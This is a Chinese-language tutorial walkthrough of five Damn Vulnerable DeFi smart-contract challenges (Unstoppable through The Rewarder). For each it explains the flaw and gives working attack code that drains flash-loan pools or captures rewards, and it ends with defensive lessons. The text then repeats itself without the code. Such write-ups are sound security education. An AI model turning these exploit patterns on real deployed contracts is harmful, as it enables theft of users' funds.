Damn Vulnerable DeFi Challenges
字数 1523 2025-08-18 11:36:53

Damn Vulnerable DeFi Challenges 教学文档

前言

本教学文档基于奇安信攻防社区的Damn Vulnerable DeFi挑战系列,旨在通过实践学习智能合约安全漏洞。建议使用Hardhat或Foundry开发环境,并预先了解以下内容:

  • Hardhat基础使用
  • Solidity智能合约安全与代码质量标准
  • 常见智能合约漏洞及防范方法
  • 基本JavaScript语法(用于与合约交互)

Challenge #1 - Unstoppable

挑战目标

使金库停止提供闪贷服务。

合约分析

UnstoppableVault.sol关键代码:

function flashLoan(...) external returns (bool) {
    uint256 balanceBefore = totalAssets();
    if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
    // ...其他代码
}

漏洞原理

  1. balanceBefore通过totalAssets()获取,包含所有转入Vault的DVT代币
  2. convertToShares(totalSupply)计算已发行的oDVT代币对应的DVT数量
  3. 正常情况下两者应相等(1:1兑换)
  4. 但直接调用token.transfer转入代币会增加balanceBefore而不增加totalSupply

攻击方法

直接向Vault合约地址转账任意数量DVT代币:

await token.connect(player).transfer(vault.address, 1);

Challenge #2 - Naive Receiver

挑战目标

清空用户合约中的所有ETH(10 ETH),尽可能在一次交易中完成。

合约分析

NaiveReceiverLenderPool.sol关键代码:

function flashLoan(...) external returns (bool) {
    // 固定收取1 ETH费用
    if (address(this).balance < balanceBefore + FIXED_FEE) revert RepayFailed();
}

FlashLoanReceiver.sol关键代码:

function onFlashLoan(...) external returns (bytes32) {
    // 不验证调用者身份
    amountToBeRepaid = amount + fee; // 1 ETH固定费用
}

漏洞原理

  1. 闪电贷合约不验证调用者身份
  2. 任何人都可以为接收者合约发起闪电贷
  3. 每次闪电贷固定收取1 ETH费用

攻击方法

连续调用10次闪电贷(每次消耗1 ETH):

const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
    await pool.connect(player).flashLoan(receiver.address, ETH, 0, "0x");
}

Challenge #3 - Truster

挑战目标

清空池子中的100万DVT代币,尽可能在一次交易中完成。

合约分析

TrusterLenderPool.sol关键代码:

function flashLoan(...) external nonReentrant returns (bool) {
    token.transfer(borrower, amount);
    target.functionCall(data); // 可以任意调用目标合约
    // 仅检查余额是否减少
}

漏洞原理

  1. functionCall允许以Pool身份调用任意合约
  2. 可以构造approve调用授权攻击者使用Pool的代币
  3. 之后通过transferFrom转走代币

攻击方法

let interface = new ethers.utils.Interface(["function approve(address spender, uint256 amount)"]);
let data = interface.encodeFunctionData("approve", [player.address, TOKENS_IN_POOL]);
await pool.connect(player).flashLoan(0, player.address, token.address, data);
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);

Challenge #4 - Side Entrance

挑战目标

从初始1000 ETH的池子中取出所有ETH,初始只有1 ETH余额。

合约分析

SideEntranceLenderPool.sol关键代码:

function flashLoan(uint256 amount) external {
    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
    // 仅检查余额是否减少
}

function deposit() external payable {
    balances[msg.sender] += msg.value;
}

漏洞原理

  1. 闪电贷还款可以通过存款方式完成
  2. 存款会增加攻击者在合约中的余额
  3. 之后可以合法提取这些存款

攻击方法

// 攻击合约
contract SideEntranceHacker is IFlashLoanEtherReceiver {
    function execute() external payable {
        pool.deposit{value: 1000 ether}();
    }
    
    function exploit() external payable {
        pool.flashLoan(1000 ether);
        pool.withdraw();
        payable(tx.origin).transfer(1000 ether);
    }
}

Challenge #5 - The Rewarder

挑战目标

在没有DVT代币的情况下,在下一轮奖励分配中获得大部分奖励。

合约分析

关键合约:

  1. FlashLoanerPool:提供DVT闪贷
  2. TheRewarderPool:每5天分配奖励
  3. AccountingToken:记录存款的快照代币
  4. RewardToken:奖励代币

漏洞原理

  1. 奖励基于快照时的存款比例分配
  2. 可以在新轮次开始时借入大量DVT并立即存款
  3. 获取快照后归还闪贷

攻击方法

  1. 等待新轮次开始
  2. 闪贷借入大量DVT
  3. 存入RewarderPool
  4. 触发奖励分配
  5. 提取存款并归还闪贷
// 攻击合约
contract RewarderAttacker {
    function attack() external {
        // 1. 借入闪贷
        flashLoaner.flashLoan(TOKENS_IN_POOL);
        
        // 在回调中:
        // 2. 存入RewarderPool
        rewarder.deposit(TOKENS_IN_POOL);
        
        // 3. 领取奖励
        rewarder.distributeRewards();
        
        // 4. 提取存款
        rewarder.withdraw(TOKENS_IN_POOL);
        
        // 5. 归还闪贷
        token.transfer(address(flashLoaner), TOKENS_IN_POOL);
    }
    
    function receiveFlashLoan(uint256 amount) external {
        token.approve(address(rewarder), amount);
        // 其他攻击步骤...
    }
}

总结

这些挑战展示了DeFi中常见的安全问题:

  1. 状态验证不足(Unstoppable)
  2. 访问控制缺失(Naive Receiver)
  3. 任意调用风险(Truster)
  4. 业务逻辑绕过(Side Entrance)
  5. 闪电贷操纵协议状态(The Rewarder)

开发者应特别注意:

  • 严格的状态验证
  • 完善的访问控制
  • 限制外部调用范围
  • 防止业务逻辑被绕过
  • 考虑闪电贷对协议的影响
Damn Vulnerable DeFi Challenges 教学文档 前言 本教学文档基于奇安信攻防社区的Damn Vulnerable DeFi挑战系列,旨在通过实践学习智能合约安全漏洞。建议使用Hardhat或Foundry开发环境,并预先了解以下内容: Hardhat基础使用 Solidity智能合约安全与代码质量标准 常见智能合约漏洞及防范方法 基本JavaScript语法(用于与合约交互) Challenge #1 - Unstoppable 挑战目标 使金库停止提供闪贷服务。 合约分析 UnstoppableVault.sol 关键代码: 漏洞原理 balanceBefore 通过 totalAssets() 获取,包含所有转入Vault的DVT代币 convertToShares(totalSupply) 计算已发行的oDVT代币对应的DVT数量 正常情况下两者应相等(1:1兑换) 但直接调用 token.transfer 转入代币会增加 balanceBefore 而不增加 totalSupply 攻击方法 直接向Vault合约地址转账任意数量DVT代币: Challenge #2 - Naive Receiver 挑战目标 清空用户合约中的所有ETH(10 ETH),尽可能在一次交易中完成。 合约分析 NaiveReceiverLenderPool.sol 关键代码: FlashLoanReceiver.sol 关键代码: 漏洞原理 闪电贷合约不验证调用者身份 任何人都可以为接收者合约发起闪电贷 每次闪电贷固定收取1 ETH费用 攻击方法 连续调用10次闪电贷(每次消耗1 ETH): Challenge #3 - Truster 挑战目标 清空池子中的100万DVT代币,尽可能在一次交易中完成。 合约分析 TrusterLenderPool.sol 关键代码: 漏洞原理 functionCall 允许以Pool身份调用任意合约 可以构造 approve 调用授权攻击者使用Pool的代币 之后通过 transferFrom 转走代币 攻击方法 Challenge #4 - Side Entrance 挑战目标 从初始1000 ETH的池子中取出所有ETH,初始只有1 ETH余额。 合约分析 SideEntranceLenderPool.sol 关键代码: 漏洞原理 闪电贷还款可以通过存款方式完成 存款会增加攻击者在合约中的余额 之后可以合法提取这些存款 攻击方法 Challenge #5 - The Rewarder 挑战目标 在没有DVT代币的情况下,在下一轮奖励分配中获得大部分奖励。 合约分析 关键合约: FlashLoanerPool :提供DVT闪贷 TheRewarderPool :每5天分配奖励 AccountingToken :记录存款的快照代币 RewardToken :奖励代币 漏洞原理 奖励基于快照时的存款比例分配 可以在新轮次开始时借入大量DVT并立即存款 获取快照后归还闪贷 攻击方法 等待新轮次开始 闪贷借入大量DVT 存入RewarderPool 触发奖励分配 提取存款并归还闪贷 总结 这些挑战展示了DeFi中常见的安全问题: 状态验证不足(Unstoppable) 访问控制缺失(Naive Receiver) 任意调用风险(Truster) 业务逻辑绕过(Side Entrance) 闪电贷操纵协议状态(The Rewarder) 开发者应特别注意: 严格的状态验证 完善的访问控制 限制外部调用范围 防止业务逻辑被绕过 考虑闪电贷对协议的影响